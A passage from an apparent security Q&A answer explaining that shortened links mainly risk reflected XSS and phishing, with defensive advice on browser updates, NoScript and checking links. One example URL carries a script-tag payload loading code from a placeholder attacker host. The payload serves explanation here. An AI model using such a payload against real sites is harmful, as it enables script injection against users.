hope there is no one linking to a page with an advanced exploit kit or persistent xss vuln.
The risk with shortened links isn't really persistent XSS, but reflected XSS and phishing.
Let's assume stackexchange is open to persistent XSS. If I post a link to
If on the other hand stackexchange is open to reflected XSS, the URL would look like
https://security.stackexchange.com/questions/414141/my-evil-question?someParam=<script src=evil.attacker/script.js></script>, and in that case shortening the URL would be helpful to hide the injected script.
How can It-sec people trust other it-sec people?
Well, you shouldn't trust random people at
reddit/r/netsec, twitter, security.stackexchange.
And yes, latest updates are a good idea (most browsers have at least some filtering to defend against reflected XSS, and some phishing filters), and NoScript is also good.
If you want to know what is behind a shortened link, check out this question about verifying shortened links.